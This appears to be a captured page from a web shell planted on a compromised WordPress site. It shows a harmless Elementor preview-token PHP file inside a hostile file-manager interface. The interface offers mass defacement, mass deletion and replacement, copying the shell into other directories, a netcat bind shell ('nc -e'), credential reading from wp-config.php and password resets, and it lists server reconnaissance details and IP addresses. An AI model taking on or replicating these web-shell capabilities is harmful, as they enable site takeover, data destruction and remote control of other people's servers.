WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / elementor / modules / mcp / preview / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/modules/mcp/preview/preview-token.php (1.86 KB)
<?php

namespace Elementor\Modules\Mcp\Preview;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Preview_Token {

	const QUERY_ARG = 'elementor_preview_token';
	const SECRET_NAMESPACE = 'elementor_preview_link_v1';

	public static function encode( int $post_id, int $revision_id, int $expires_at, string $secret ): string {
		$payload = self::base64url_encode( wp_json_encode( [
			'p' => $post_id,
			'r' => $revision_id,
			'e' => $expires_at,
		] ) );

		$signature = self::sign( $payload, $secret );

		return $payload . '.' . $signature;
	}

	public static function decode( string $token, string $secret ): ?array {
		$parts = explode( '.', $token );

		if ( count( $parts ) !== 2 ) {
			return null;
		}

		[ $payload, $signature ] = $parts;

		if ( ! hash_equals( self::sign( $payload, $secret ), $signature ) ) {
			return null;
		}

		$decoded = json_decode( self::base64url_decode( $payload ), true );

		if ( ! is_array( $decoded ) || ! isset( $decoded['p'], $decoded['r'], $decoded['e'] ) ) {
			return null;
		}

		return [
			'post_id' => (int) $decoded['p'],
			'revision_id' => (int) $decoded['r'],
			'expires_at' => (int) $decoded['e'],
		];
	}

	public static function is_expired( array $claims, int $now ): bool {
		return $now >= $claims['expires_at'];
	}

	public static function secret(): string {
		return wp_salt( 'auth' ) . self::SECRET_NAMESPACE;
	}

	private static function sign( string $payload, string $secret ): string {
		return self::base64url_encode( hash_hmac( 'sha256', $payload, $secret, true ) );
	}

	private static function base64url_encode( string $data ): string {
		return rtrim( strtr( base64_encode( $data ), '+/', '-_' ), '=' );
	}

	private static function base64url_decode( string $data ): string {
		$pad = strlen( $data ) % 4;

		if ( $pad > 0 ) {
			$data .= str_repeat( '=', 4 - $pad );
		}

		return base64_decode( strtr( $data, '-_', '+/' ) );
	}
}
namawaktuukuranownerpermaksi
..
preview-token.php 2026-11-25 08:101.86 KB 76129f60960:kunden-xw-x--x--
edt
public-preview-handler.php 2026-11-25 08:104.82 KB 76129f60960:kunden-xw-x--x--
edt
woocommerce-preview-fixtures.php 2026-11-25 08:102.33 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/modules/mcp/preview
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK